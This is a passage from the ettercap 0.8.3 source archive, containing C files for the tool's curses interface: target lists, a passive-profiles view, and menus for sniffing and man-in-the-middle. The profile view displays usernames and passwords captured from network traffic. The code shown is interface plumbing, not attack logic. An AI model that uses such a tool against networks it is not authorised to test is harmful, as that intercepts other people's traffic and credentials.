1, sizeof(char)); /* print the description in the array */ snprintf(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); wdg_t2_elm[nhosts].value = il; nhosts++; } /* null terminate the array */ SAFE_REALLOC(wdg_t2_elm, (nhosts + 1) * sizeof(struct wdg_list)); wdg_t2_elm[nhosts].desc = NULL; wdg_t2_elm[nhosts].value = NULL; } /* * delete an host from the target list */ static void curses_delete_target1(void *host) { struct ip_list *il; DEBUG_MSG("curses_delete_target1"); /* cast the parameter */ il = (struct ip_list *)host; /* remove the host from the list */ del_ip_list(&il->ip, EC_GBL_TARGET1); /* redraw the window */ curses_current_targets(); } static void curses_delete_target2(void *host) { struct ip_list *il; DEBUG_MSG("curses_delete_target2"); /* cast the parameter */ il = (struct ip_list *)host; /* remove the host from the list */ del_ip_list(&il->ip, EC_GBL_TARGET2); /* redraw the window */ curses_current_targets(); } /* * display the "add host" dialog */ static void curses_add_target1(void *entry) { /* variable not used */ (void) entry; DEBUG_MSG("curses_add_target1"); curses_input("IP address :", thost, MAX_ASCII_ADDR_LEN, add_target1); } static void curses_add_target2(void *entry) { /* variable not used */ (void) entry; DEBUG_MSG("curses_add_target2"); curses_input("IP address :", thost, MAX_ASCII_ADDR_LEN, add_target2); } static void add_target1(void) { struct ip_addr ip; if(ip_addr_pton(thost, &ip) == -E_INVALID) { curses_message("Invalid ip address"); return; } add_ip_list(&ip, EC_GBL_TARGET1); /* redraw the window */ curses_current_targets(); } static void add_target2(void) { struct ip_addr ip; if(ip_addr_pton(thost, &ip) == -E_INVALID) { curses_message("Invalid ip address"); return; } add_ip_list(&ip, EC_GBL_TARGET2); /* redraw the window */ curses_current_targets(); /* redraw the window */ curses_current_targets(); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_view_profiles.c0000644000175000017500000002216113505247364024470 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include /* proto */ void curses_show_profiles(void); static void curses_kill_profiles(void); static void refresh_profiles(void); static void curses_profile_detail(void *profile); static void curses_profiles_local(void *dummy); static void curses_profiles_remote(void *dummy); static void curses_profiles_convert(void *dummy); static void curses_profiles_dump(void *dummy); static void dump_profiles(void); static void curses_profiles_help(void *dummy); /* globals */ static wdg_t *wdg_profiles, *wdg_pro_detail; static char *logfile; /*******************************************/ /* * the auto-refreshing list of profiles */ void curses_show_profiles(void) { DEBUG_MSG("curses_show_profiles"); /* if the object already exist, set the focus to it */ if (wdg_profiles) { wdg_set_focus(wdg_profiles); return; } wdg_create_object(&wdg_profiles, WDG_DYNLIST, WDG_OBJ_WANT_FOCUS); wdg_set_title(wdg_profiles, "Collected passive profiles:", WDG_ALIGN_LEFT); wdg_set_size(wdg_profiles, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_color(wdg_profiles, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_profiles, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_profiles, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_profiles, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_profiles, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_profiles); wdg_set_focus(wdg_profiles); /* set the list print callback */ wdg_dynlist_print_callback(wdg_profiles, profile_print); /* set the select callback */ wdg_dynlist_select_callback(wdg_profiles, curses_profile_detail); /* add the callback on idle to refresh the profile list */ wdg_add_idle_callback(refresh_profiles); /* add the destroy callback */ wdg_add_destroy_key(wdg_profiles, CTRL('Q'), curses_kill_profiles); wdg_dynlist_add_callback(wdg_profiles, 'l', curses_profiles_local); wdg_dynlist_add_callback(wdg_profiles, 'r', curses_profiles_remote); wdg_dynlist_add_callback(wdg_profiles, 'c', curses_profiles_convert); wdg_dynlist_add_callback(wdg_profiles, 'd', curses_profiles_dump); wdg_dynlist_add_callback(wdg_profiles, ' ', curses_profiles_help); } static void curses_kill_profiles(void) { DEBUG_MSG("curses_kill_profiles"); wdg_del_idle_callback(refresh_profiles); /* the object does not exist anymore */ wdg_profiles = NULL; } static void curses_profiles_help(void *dummy) { /* variable not used */ (void) dummy; char help[] = "HELP: shortcut list:\n\n" " ENTER - show the infos about the host\n" " l - remove the remote hosts from the list\n" " r - remove the local hosts from the list\n" " c - convert the profile list into hosts list\n" " d - dump the profiles information to a file"; curses_message(help); } static void refresh_profiles(void) { /* if not focused don't refresh it */ if (!(wdg_profiles->flags & WDG_OBJ_FOCUSED)) return; wdg_dynlist_refresh(wdg_profiles); } /* * display details for a profile */ static void curses_profile_detail(void *profile) { struct host_profile *h = (struct host_profile *)profile; struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; char os[OS_LEN+1]; DEBUG_MSG("curses_profile_detail"); /* if the object already exist, set the focus to it */ if (wdg_pro_detail) { wdg_destroy_object(&wdg_pro_detail); wdg_pro_detail = NULL; } wdg_create_object(&wdg_pro_detail, WDG_SCROLL, WDG_OBJ_WANT_FOCUS); wdg_set_title(wdg_pro_detail, "Profile details:", WDG_ALIGN_LEFT); wdg_set_size(wdg_pro_detail, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_color(wdg_pro_detail, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_pro_detail, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_pro_detail, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_pro_detail, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_pro_detail, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_pro_detail); wdg_set_focus(wdg_pro_detail); wdg_add_destroy_key(wdg_pro_detail, CTRL('Q'), NULL); wdg_scroll_set_lines(wdg_pro_detail, 100); memset(os, 0, sizeof(os)); wdg_scroll_print(wdg_pro_detail, EC_COLOR, " IP address : %s \n", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " Hostname : %s \n", h->hostname); #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " Location : %s \n", geoip_country_by_ip(&h->L3_addr)); #endif wdg_scroll_print(wdg_pro_detail, EC_COLOR, "\n"); if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { wdg_scroll_print(wdg_pro_detail, EC_COLOR, " MAC address : %s \n", mac_addr_ntoa(h->L2_addr, tmp)); wdg_scroll_print(wdg_pro_detail, EC_COLOR, " MANUFACTURER : %s \n\n", manuf_search((const char*)h->L2_addr)); } wdg_scroll_print(wdg_pro_detail, EC_COLOR, " DISTANCE : %d \n", h->distance); if (h->type & FP_GATEWAY) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " TYPE : GATEWAY\n\n"); else if (h->type & FP_HOST_LOCAL) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " TYPE : LAN host\n\n"); else if (h->type & FP_ROUTER) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " TYPE : REMOTE ROUTER\n\n"); else if (h->type & FP_HOST_NONLOCAL) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " TYPE : REMOTE host\n\n"); else if (h->type == FP_UNKNOWN) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " TYPE : unknown\n\n"); if (h->os) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " OBSERVED OS : %s\n\n", h->os); wdg_scroll_print(wdg_pro_detail, EC_COLOR, " FINGERPRINT : %s\n", h->fingerprint); if (fingerprint_search((const char*)h->fingerprint, os) == E_SUCCESS) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " OPERATING SYSTEM : %s \n\n", os); else { wdg_scroll_print(wdg_pro_detail, EC_COLOR, " OPERATING SYSTEM : unknown fingerprint (please submit it) \n"); wdg_scroll_print(wdg_pro_detail, EC_COLOR, " NEAREST ONE IS : %s \n\n", os); } LIST_FOREACH(o, &(h->open_ports_head), next) { wdg_scroll_print(wdg_pro_detail, EC_COLOR, " PORT : %s %d | %s \t[%s]\n", (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP" , ntohs(o->L4_addr), service_search(o->L4_addr, o->L4_proto), (o->banner) ? o->banner : ""); LIST_FOREACH(u, &(o->users_list_head), next) { if (u->failed) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " ACCOUNT : * %s / %s (%s)\n", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); else wdg_scroll_print(wdg_pro_detail, EC_COLOR, " ACCOUNT : %s / %s (%s)\n", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); if (u->info) wdg_scroll_print(wdg_pro_detail, EC_COLOR, " INFO : %s\n\n", u->info); else wdg_scroll_print(wdg_pro_detail, EC_COLOR, "\n"); } } } static void curses_profiles_local(void *dummy) { /* variable not used */ (void) dummy; profile_purge_remote(); wdg_dynlist_reset(wdg_profiles); wdg_dynlist_refresh(wdg_profiles); } static void curses_profiles_remote(void *dummy) { /* variable not used */ (void) dummy; profile_purge_local(); wdg_dynlist_reset(wdg_profiles); wdg_dynlist_refresh(wdg_profiles); } static void curses_profiles_convert(void *dummy) { /* variable not used */ (void) dummy; profile_convert_to_hostlist(); curses_message("The hosts list was populated with local profiles"); } static void curses_profiles_dump(void *dummy) { /* variable not used */ (void) dummy; DEBUG_MSG("curses_profiles_dump"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, 50, sizeof(char)); curses_input("Log File :", logfile, 50, dump_profiles); } static void dump_profiles(void) { /* dump the profiles */ if (profile_dump_to_file(logfile) == E_SUCCESS) curses_message("Profiles dumped to file"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_live.c0000644000175000017500000000433013505247364022550 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /*******************************************/ /* the interface */ void curses_sniff_live(void) { wdg_t *menu; DEBUG_MSG("curses_sniff_live"); wdg_create_object(&menu, WDG_MENU, WDG_OBJ_WANT_FOCUS | WDG_OBJ_ROOT_OBJECT); wdg_set_title(menu, EC_GBL_VERSION, WDG_ALIGN_RIGHT); wdg_set_color(menu, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(menu, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(menu, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(menu, WDG_COLOR_TITLE, EC_COLOR_TITLE); /* add the menu from external files */ wdg_menu_add(menu, menu_start); wdg_menu_add(menu, menu_targets); if (EC_GBL_SNIFF->type != SM_BRIDGED) wdg_menu_add(menu, menu_hosts); wdg_menu_add(menu, menu_view); if (EC_GBL_SNIFF->type != SM_BRIDGED) wdg_menu_add(menu, menu_mitm); wdg_menu_add(menu, menu_filters); wdg_menu_add(menu, menu_logging); #ifdef HAVE_PLUGINS wdg_menu_add(menu, menu_plugins); #endif wdg_menu_add(menu, menu_help); wdg_draw_object(menu); /* repaint the whole screen */ wdg_redraw_all(); wdg_set_focus(menu); /* add the message flush callback */ wdg_add_idle_callback(curses_flush_msg); /* * give the control to the event dispatcher * with the emergency exit key 'Q' */ wdg_events_handler(CTRL('X')); wdg_destroy_object(&menu); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses.c0000644000175000017500000004436613505247364021546 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* globals */ static wdg_t *sysmsg_win; static char tag_unoff[] = " "; static char tag_promisc[] = " "; /* version */ extern char *curses_version(void); /* proto */ static void curses_interface(void); static void curses_init(void); static void curses_cleanup(void); static void curses_msg(const char *msg); static void curses_error(const char *msg); static void curses_fatal_error(const char *msg); static int curses_progress(char *title, int value, int max); static void curses_update(int target); static void curses_setup(void); static void curses_exit(void); static void toggle_unoffensive(void); static void toggle_nopromisc(void); static void curses_file_open(void); static void read_pcapfile(const char *path, char *file); static void curses_file_write(void); static void write_pcapfile(void); static void curses_unified_sniff(void); static void curses_bridged_sniff(void); static void bridged_sniff(void); static void curses_pcap_filter(void); static void curses_set_netmask(void); /*******************************************/ void set_curses_interface(void) { struct ui_ops ops; /* wipe the struct */ memset(&ops, 0, sizeof(ops)); /* register the functions */ ops.init = &curses_init; ops.start = &curses_interface; ops.type = UI_CURSES; ops.cleanup = &curses_cleanup; ops.msg = &curses_msg; ops.error = &curses_error; ops.fatal_error = &curses_fatal_error; ops.input = &curses_input; ops.progress = &curses_progress; ops.update = &curses_update; ui_register(&ops); DEBUG_MSG("Curses -> %s\n", curses_version()); } /* * set the terminal as non blocking */ static void curses_init(void) { DEBUG_MSG("curses_init"); /* init the widgets library */ wdg_init(); /* * we have to set it because we ask user interaction * during this function. * we cant wait to return to set the flag... */ EC_GBL_UI->initialized = 1; DEBUG_MSG("curses_init: screen %dx%d colors: %d", (int)current_screen.cols, (int)current_screen.lines, (int)(current_screen.flags & WDG_SCR_HAS_COLORS)); /* initialize the colors */ wdg_init_color(EC_COLOR, EC_GBL_CONF->colors.fg, EC_GBL_CONF->colors.bg); wdg_init_color(EC_COLOR_JOIN1, EC_GBL_CONF->colors.join1, EC_GBL_CONF->colors.bg); wdg_init_color(EC_COLOR_JOIN2, EC_GBL_CONF->colors.join2, EC_GBL_CONF->colors.bg); wdg_init_color(EC_COLOR_BORDER, EC_GBL_CONF->colors.border, EC_GBL_CONF->colors.bg); wdg_init_color(EC_COLOR_TITLE, EC_GBL_CONF->colors.title, EC_GBL_CONF->colors.bg); wdg_init_color(EC_COLOR_FOCUS, EC_GBL_CONF->colors.focus, EC_GBL_CONF->colors.bg); wdg_init_color(EC_COLOR_MENU, EC_GBL_CONF->colors.menu_fg, EC_GBL_CONF->colors.menu_bg); wdg_init_color(EC_COLOR_WINDOW, EC_GBL_CONF->colors.window_fg, EC_GBL_CONF->colors.window_bg); wdg_init_color(EC_COLOR_SELECTION, EC_GBL_CONF->colors.selection_fg, EC_GBL_CONF->colors.selection_bg); wdg_init_color(EC_COLOR_ERROR, EC_GBL_CONF->colors.error_fg, EC_GBL_CONF->colors.error_bg); wdg_init_color(EC_COLOR_ERROR_BORDER, EC_GBL_CONF->colors.error_border, EC_GBL_CONF->colors.error_bg); /* set the screen color */ wdg_screen_color(EC_COLOR); /* call the setup interface */ curses_setup(); /* reached only after the setup interface has quit */ } /* * exit from the setup interface */ static void curses_exit(void) { DEBUG_MSG("curses_exit"); wdg_cleanup(); clean_exit(0); } /* * reset to the previous state */ static void curses_cleanup(void) { DEBUG_MSG("curses_cleanup"); wdg_cleanup(); } /* * this function is called on idle loop in wdg */ void curses_flush_msg(void) { ui_msg_flush(MSG_ALL); } /* * print a USER_MSG() extracting it from the queue */ static void curses_msg(const char *msg) { /* if the object does not exist yet */ if (sysmsg_win == NULL) return; wdg_scroll_print(sysmsg_win, EC_COLOR, "%s", (char *)msg); } /* * print an error */ static void curses_error(const char *msg) { wdg_t *dlg; DEBUG_MSG("curses_error: %s", msg); /* create the dialog */ wdg_create_object(&dlg, WDG_DIALOG, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_title(dlg, "ERROR:", WDG_ALIGN_LEFT); wdg_set_color(dlg, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_WINDOW, EC_COLOR_ERROR); wdg_set_color(dlg, WDG_COLOR_FOCUS, EC_COLOR_ERROR_BORDER); wdg_set_color(dlg, WDG_COLOR_TITLE, EC_COLOR_ERROR); /* set the message */ wdg_dialog_text(dlg, WDG_OK, msg); wdg_draw_object(dlg); wdg_set_focus(dlg); } /* * handle a fatal error and exit */ static void curses_fatal_error(const char *msg) { DEBUG_MSG("curses_fatal_error: %s", msg); /* cleanup the curses mode */ wdg_cleanup(); fprintf(stderr, "FATAL ERROR: %s\n\n\n", msg); clean_exit(-1); } /* * get an input from the user */ void curses_input(const char *title, char *input, size_t n, void (*callback)(void)) { wdg_t *in; wdg_create_object(&in, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(in, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(in, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(in, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(in, WDG_COLOR_TITLE, EC_COLOR_MENU); wdg_input_size(in, strlen(title) + n, 3); wdg_input_add(in, 1, 1, title, input, n, 1); wdg_input_set_callback(in, callback); wdg_draw_object(in); wdg_set_focus(in); /* block until user input */ wdg_input_get_input(in); } /* * implement the progress bar */ static int curses_progress(char *title, int value, int max) { static wdg_t *per = NULL; int ret; /* the first time, create the object */ if (per == NULL) { wdg_create_object(&per, WDG_PERCENTAGE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_title(per, title, WDG_ALIGN_CENTER); wdg_set_color(per, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(per, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(per, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(per, WDG_COLOR_TITLE, EC_COLOR_MENU); wdg_draw_object(per); wdg_set_focus(per); } /* the subsequent calls have to only update the object */ ret = wdg_percentage_set(per, value, max); wdg_update_screen(); switch (ret) { case WDG_PERCENTAGE_FINISHED: /* * the object is self-destructing... * so we have only to set the pointer to null */ per = NULL; return UI_PROGRESS_FINISHED; break; case WDG_PERCENTAGE_INTERRUPTED: /* * the user has requested to stop the current task. * the percentage was self-destructed, we have to * set the pointer to null and return the proper value */ per = NULL; return UI_PROGRESS_INTERRUPTED; break; case WDG_PERCENTAGE_UPDATED: return UI_PROGRESS_UPDATED; break; } return UI_PROGRESS_UPDATED; } /* * process an update notification */ static void curses_update(int target) { switch(target) { case UI_UPDATE_HOSTLIST: curses_hosts_update(); break; case UI_UPDATE_PLUGINLIST: curses_plugins_update(); default: break; } } /* * print a message */ void curses_message(const char *msg) { wdg_t *dlg; DEBUG_MSG("curses_message: %s", msg); /* create the dialog */ wdg_create_object(&dlg, WDG_DIALOG, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(dlg, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(dlg, WDG_COLOR_TITLE, EC_COLOR_TITLE); /* set the message */ wdg_dialog_text(dlg, WDG_OK, msg); wdg_draw_object(dlg); wdg_set_focus(dlg); } /* the interface */ void curses_interface(void) { DEBUG_MSG("curses_interface"); /* which interface do we have to display ? */ if (EC_GBL_OPTIONS->read) curses_sniff_offline(); else curses_sniff_live(); /* destroy the previously allocated object */ wdg_destroy_object(&sysmsg_win); } static void toggle_unoffensive(void) { if (EC_GBL_OPTIONS->unoffensive) { tag_unoff[0] = ' '; EC_GBL_OPTIONS->unoffensive = 0; } else { tag_unoff[0] = '*'; EC_GBL_OPTIONS->unoffensive = 1; } } static void toggle_nopromisc(void) { if (EC_GBL_PCAP->promisc) { tag_promisc[0] = ' '; EC_GBL_PCAP->promisc = 0; } else { tag_promisc[0] = '*'; EC_GBL_PCAP->promisc = 1; } } /* * display the initial menu to setup global options * at startup. */ static void curses_setup(void) { wdg_t *menu; struct wdg_menu file[] = { {"File", 'F', "", NULL}, {"Open...", CTRL('O'), "C-o", curses_file_open}, {"Dump to file...", CTRL('D'), "C-d", curses_file_write}, {"-", 0, "", NULL}, {"Exit", CTRL('X'), "C-x", curses_exit}, {NULL, 0, NULL, NULL}, }; struct wdg_menu live[] = { {"Sniff", 'S', "", NULL}, {"Unified sniffing...", 'U', "U", curses_unified_sniff}, {"Bridged sniffing...", 'B', "B", curses_bridged_sniff}, {"-", 0, "", NULL}, {"Set pcap filter...", 'p', "p", curses_pcap_filter}, {NULL, 0, NULL, NULL}, }; struct wdg_menu options[] = { {"Options", 'O', "", NULL}, {"Unoffensive", 0, tag_unoff, toggle_unoffensive}, {"Promisc mode", 0, tag_promisc, toggle_nopromisc}, {"Set netmask", 'n', "n" , curses_set_netmask}, {NULL, 0, NULL, NULL}, }; DEBUG_MSG("curses_setup"); wdg_create_object(&menu, WDG_MENU, WDG_OBJ_WANT_FOCUS | WDG_OBJ_ROOT_OBJECT); wdg_set_title(menu, EC_GBL_VERSION, WDG_ALIGN_RIGHT); wdg_set_color(menu, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(menu, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(menu, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(menu, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_menu_add(menu, file); wdg_menu_add(menu, live); wdg_menu_add(menu, options); wdg_menu_add(menu, menu_help); wdg_draw_object(menu); DEBUG_MSG("curses_setup: menu created"); /* create the bottom windows for user messages */ wdg_create_object(&sysmsg_win, WDG_SCROLL, WDG_OBJ_WANT_FOCUS); wdg_set_title(sysmsg_win, "User messages:", WDG_ALIGN_LEFT); wdg_set_size(sysmsg_win, 0, SYSMSG_WIN_SIZE, 0, 0); wdg_set_color(sysmsg_win, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(sysmsg_win, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(sysmsg_win, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(sysmsg_win, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(sysmsg_win, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_scroll_set_lines(sysmsg_win, 500); wdg_draw_object(sysmsg_win); /* give the focus to the menu */ wdg_set_focus(menu); DEBUG_MSG("curses_setup: sysmsg created"); /* initialize the options */ if (EC_GBL_OPTIONS->unoffensive) tag_unoff[0] = '*'; else tag_unoff[0] = ' '; if (EC_GBL_PCAP->promisc) tag_promisc[0] = '*'; else tag_promisc[0] = ' '; /* give the control to the interface */ wdg_events_handler('u'); wdg_destroy_object(&menu); DEBUG_MSG("curses_setup: end"); } /* * display the file open dialog */ static void curses_file_open(void) { wdg_t *fop; DEBUG_MSG("curses_file_open"); wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_title(fop, "Select a pcap file...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(fop, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, read_pcapfile); wdg_draw_object(fop); wdg_set_focus(fop); } static void read_pcapfile(const char *path, char *file) { char pcap_errbuf[PCAP_ERRBUF_SIZE]; DEBUG_MSG("read_pcapfile %s/%s", path, file); SAFE_CALLOC(EC_GBL_OPTIONS->pcapfile_in, strlen(path)+strlen(file)+2, sizeof(char)); snprintf(EC_GBL_OPTIONS->pcapfile_in, strlen(path)+strlen(file)+2, "%s/%s", path, file); /* check if the file is good */ if (is_pcap_file(EC_GBL_OPTIONS->pcapfile_in, pcap_errbuf) != E_SUCCESS) { ui_error("%s", pcap_errbuf); SAFE_FREE(EC_GBL_OPTIONS->pcapfile_in); return; } /* set the options for reading from file */ EC_GBL_OPTIONS->silent = 1; EC_GBL_OPTIONS->unoffensive = 1; EC_GBL_OPTIONS->write = 0; EC_GBL_OPTIONS->read = 1; /* exit the setup interface, and go to the primary one */ wdg_exit(); } /* * display the write file menu */ static void curses_file_write(void) { #define FILE_LEN 40 DEBUG_MSG("curses_file_write"); SAFE_CALLOC(EC_GBL_OPTIONS->pcapfile_out, FILE_LEN, sizeof(char)); curses_input("Output file :", EC_GBL_OPTIONS->pcapfile_out, FILE_LEN, write_pcapfile); } static void write_pcapfile(void) { FILE *f; DEBUG_MSG("write_pcapfile"); /* check if the file is writeable */ f = fopen(EC_GBL_OPTIONS->pcapfile_out, "w"); if (f == NULL) { ui_error("Cannot write %s", EC_GBL_OPTIONS->pcapfile_out); SAFE_FREE(EC_GBL_OPTIONS->pcapfile_out); return; } /* if ok, delete it */ fclose(f); unlink(EC_GBL_OPTIONS->pcapfile_out); /* set the options for writing to a file */ EC_GBL_OPTIONS->write = 1; EC_GBL_OPTIONS->read = 0; } /* * display the interface selection dialog */ static void curses_unified_sniff(void) { char err[PCAP_ERRBUF_SIZE]; #define IFACE_LEN 50 DEBUG_MSG("curses_unified_sniff"); /* if the user has not specified an interface, get the first one */ if (EC_GBL_OPTIONS->iface == NULL) { char *iface; SAFE_CALLOC(EC_GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); iface = pcap_lookupdev(err); ON_ERROR(iface, NULL, "pcap_lookupdev: %s", err); strncpy(EC_GBL_OPTIONS->iface, iface, IFACE_LEN - 1); } /* calling wdg_exit will go to the next interface :) */ curses_input("Network interface :", EC_GBL_OPTIONS->iface, IFACE_LEN, wdg_exit); } /* * display the interface selection for bridged sniffing */ static void curses_bridged_sniff(void) { wdg_t *in; char err[PCAP_ERRBUF_SIZE]; DEBUG_MSG("curses_bridged_sniff"); /* if the user has not specified an interface, get the first one */ if (EC_GBL_OPTIONS->iface == NULL) { SAFE_CALLOC(EC_GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); /* if ettercap is started with a non root account pcap_lookupdev(err) == NULL (Fedora bug 783675) */ if(pcap_lookupdev(err) != NULL) strncpy(EC_GBL_OPTIONS->iface, pcap_lookupdev(err), IFACE_LEN - 1); /* else here we have to gracefully exit, since we don't have any available interface */ } SAFE_CALLOC(EC_GBL_OPTIONS->iface_bridge, IFACE_LEN, sizeof(char)); wdg_create_object(&in, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(in, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(in, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(in, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(in, WDG_COLOR_TITLE, EC_COLOR_MENU); wdg_input_size(in, strlen("Second network interface :") + IFACE_LEN, 4); wdg_input_add(in, 1, 1, "First network interface :", EC_GBL_OPTIONS->iface, IFACE_LEN, 1); wdg_input_add(in, 1, 2, "Second network interface :", EC_GBL_OPTIONS->iface_bridge, IFACE_LEN, 1); wdg_input_set_callback(in, bridged_sniff); wdg_draw_object(in); wdg_set_focus(in); } static void bridged_sniff(void) { set_bridge_sniff(); wdg_exit(); } /* * display the pcap filter dialog */ static void curses_pcap_filter(void) { #define PCAP_FILTER_LEN 50 DEBUG_MSG("curses_pcap_filter"); SAFE_CALLOC(EC_GBL_PCAP->filter, PCAP_FILTER_LEN, sizeof(char)); /* * no callback, the filter is set but we have to return to * the interface for other user input */ curses_input("Pcap filter :", EC_GBL_PCAP->filter, PCAP_FILTER_LEN, NULL); } /* * set a different netmask than the system one */ static void curses_set_netmask(void) { struct ip_addr net; DEBUG_MSG("curses_set_netmask"); if (EC_GBL_OPTIONS->netmask == NULL) SAFE_CALLOC(EC_GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, sizeof(char)); /* * no callback, the filter is set but we have to return to * the interface for other user input */ curses_input("Netmask :", EC_GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, NULL); /* sanity check */ if (strcmp(EC_GBL_OPTIONS->netmask, "") && ip_addr_pton(EC_GBL_OPTIONS->netmask, &net) != E_SUCCESS) ui_error("Invalid netmask %s", EC_GBL_OPTIONS->netmask); /* if no netmask was specified, free it */ if (!strcmp(EC_GBL_OPTIONS->netmask, "")) SAFE_FREE(EC_GBL_OPTIONS->netmask); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_view.c0000644000175000017500000001634013505247364022567 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any 